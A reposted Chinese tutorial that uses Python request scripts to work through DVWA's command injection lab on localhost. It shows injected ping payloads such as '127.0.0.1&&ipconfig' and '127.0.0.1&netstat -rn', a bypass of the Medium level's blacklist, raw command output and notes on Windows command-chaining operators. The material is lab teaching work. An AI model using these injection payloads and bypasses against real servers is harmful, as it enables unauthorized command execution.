使用Python脚本学习DVWA-Command Injection(命令注入)
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了使用Python脚本学习DVWA-Command Injection(命令注入),小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含8584字,纯文字阅读大概需要13分钟。
内容图文
![使用Python脚本学习DVWA-Command Injection(命令注入)](/upload/InfoBanner/zyjiaocheng/591/1a6fb7b87ef0404691da13764eec1b92.jpg)
使用Python脚本学习DVWA
Command Injection(命令注入)
本文全程参考[https://blog.csdn.net/zy15667076526/article/details/109705286?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0]向该博主致谢
Low
浏览器按F12打开开发人员调试利器,访问DVWA。
发现使用post方法访问http://localhost/DVWA/vulnerabilities/exec/
提交ip=127.0.0.1&Submit=Submit
Python 脚本
#-*- coding:utf-8 -*-
import requests
headers = {'Cookie':'security=low; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command ='127.0.0.1'
data={'ip':command,'Submit':'Submit'}
def post_http(data):
url = 'http://localhost/DVWA/vulnerabilities/exec/'
req = requests.post(url,headers=headers,data=data)
return(url,req.status_code,req.text)
print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)
执行结果
可以看到执行ping命令测试127.0.0.1(本机回环地址)的连通性。
D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
192.168.1.1 && ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5397
............
*???? Ping 127.0.0.1 ???? 32 ????????:
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
127.0.0.1 ?? Ping ??????:
?????: ????? = 4??????? = 4????? = 0 (0% ???)??
?????г????????(????????λ):
??? = 0ms???? = 0ms????? = 0ms*
............
注入其它命令
将python脚本的 command =‘127.0.0.1’ 改为 command =‘127.0.0.1&&ipconfig’
执行结果
可以看到执行ping 127.0.0.1 后,又执行ipconfig(查看网络配置)的命令,无线网卡上的ip为192.168.1.3
D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
127.0.0.1&&ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5387
............
???? Ping 127.0.0.1 ???? 32 ????????:
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
127.0.0.1 ?? Ping ??????:
?????: ????? = 4??????? = 4????? = 0 (0% ???)??
?????г????????(????????λ):
??? = 0ms???? = 0ms????? = 0ms
Windows IP ????
??????????? ????? 4:
y???? . . . . . . . . . . . . : y??????????
????????? DNS ??? . . . . . . . :
??????????? ?????:
y???? . . . . . . . . . . . . : y??????????
????????? DNS ??? . . . . . . . :
??????????????? ????????* 1:
y???? . . . . . . . . . . . . : y??????????
????????? DNS ??? . . . . . . . :
??????????????? ????????* 2:
y???? . . . . . . . . . . . . : y??????????
????????? DNS ??? . . . . . . . :
??????????????? WLAN:
????????? DNS ??? . . . . . . . :
IPv6 ??? . . . . . . . . . . . . : 240e:390:470:41a0:c430:f233:4119:1b2e
??? IPv6 ???. . . . . . . . . . : 240e:390:470:41a0:251a:ccf8:5425:fef6
???????? IPv6 ???. . . . . . . . : fe80::c430:f233:4119:1b2e%17
IPv4 ??? . . . . . . . . . . . . : 192.168.1.3
???????? . . . . . . . . . . . . : 255.255.255.0
???????. . . . . . . . . . . . . : fe80::1%17
192.168.1.1
............
不完全测试,可以执行dir netstat ipconfig calc notepad等命令,但net user执行后无相应输出,估计是DVWA安装在Windows 10上吧。
Medium
根据参考博文,Medium的php源码中对&&和;字符做过滤处理,所以&&不能成功,使用&替代
DOS中&用法
这里需要注意的是”&&”与” &”的区别:Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
复现过程-Medium 相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&”
、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
Python 脚本
将python脚本的 command =‘127.0.0.1’ 改为 command = ‘127.0.0.1&netstat -rn’
#-*- coding:utf-8 -*-
import requests
headers = {'Cookie':'security=medium; PHPSESSID=jdftj2p08d067d7o3560ekeov5; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command = '127.0.0.1&netstat -rn'
data={'ip':command,'Submit':'Submit'}
def post_http(data):
url = 'http://localhost/DVWA/vulnerabilities/exec/'
req = requests.post(url,headers=headers,data=data)
return(url,req.status_code,req.text)
print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)
执行结果
执行ping命令后,又执行netstat -rn命令获取服务器网络路由表。
D:\sqlinjection>python Command_Injection_medium.py
++++++++开始命令注入++++++++
127.0.0.1&netstat -rn|http://localhost/DVWA/vulnerabilities/exec/|200|6865
............
???? Ping 127.0.0.1 ???? 32 ????????:
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
???? 127.0.0.1 ????: ???=32 ???<1ms TTL=128
127.0.0.1 ?? Ping ??????:
?????: ????? = 4??????? = 4????? = 0 (0% ???)??
?????г????????(????????λ):
??? = 0ms???? = 0ms????? = 0ms
===========================================================================
????б?
25...00 ff fb e0 7b ee ......Sangfor SSL VPN CS Support System VNIC
16...b0 25 aa 2f 4e b8 ......Realtek PCIe GbE Family Controller
12...38 00 25 c6 e9 2d ......Microsoft Wi-Fi Direct Virtual Adapter
11...3a 00 25 c6 e9 2c ......Microsoft Wi-Fi Direct Virtual Adapter #2
17...38 00 25 c6 e9 2c ......Intel(R) Wireless-AC 9462
1...........................Software Loopback Interface 1
===========================================================================
IPv4 ·???
===========================================================================
??·??:
??????? ???????? ???? ??? ?????
0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.3 55
127.0.0.0 255.0.0.0 ????·?? 127.0.0.1 331
127.0.0.1 255.255.255.255 ????·?? 127.0.0.1 331
127.255.255.255 255.255.255.255 ????·?? 127.0.0.1 331
192.168.1.0 255.255.255.0 ????·?? 192.168.1.3 311
192.168.1.3 255.255.255.255 ????·?? 192.168.1.3 311
192.168.1.255 255.255.255.255 ????·?? 192.168.1.3 311
224.0.0.0 240.0.0.0 ????·?? 127.0.0.1 331
224.0.0.0 240.0.0.0 ????·?? 192.168.1.3 311
255.255.255.255 255.255.255.255 ????·?? 127.0.0.1 331
255.255.255.255 255.255.255.255 ????·?? 192.168.1.3 311
===========================================================================
????·??:
??
IPv6 ·???
===========================================================================
??·??:
??????????????? ????
17 311 ::/0 fe80::1
1 331 ::1/128 ????·??
17 311 240e:390:470:41a0::/64 ????·??
17 311 240e:390:470:41a0:251a:ccf8:5425:fef6/128
????·??
17 311 240e:390:470:41a0:c430:f233:4119:1b2e/128
????·??
17 311 fe80::/64 ????·??
17 311 fe80::c430:f233:4119:1b2e/128
????·??
1 331 ff00::/8 ????·??
17 311 ff00::/8 ????·??
===========================================================================
????·??:
??
............
DOS中符号总结
此部分均引用至参考博文
l & 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令…]
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是
允许的,而且用的非常广泛。因为批处理认行不认命令数目。
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
比如:
dir z:\ & dir y:\ & dir c:\
以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在
l Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
l ; 分号
分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回
错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)
比如:
dir c:;d:;e:;z:\
以上命令相当于
dir c:\
dir d:\
dir e:\
dir f:\
如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。
例:dir c:;d:;e:\1.txt
以上命令相当于
dir c:\
dir d:\
dir e:\1.txt
其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。
为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。
内容总结
以上是互联网集市为您收集整理的使用Python脚本学习DVWA-Command Injection(命令注入)全部内容,希望文章能够帮你解决使用Python脚本学习DVWA-Command Injection(命令注入)所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。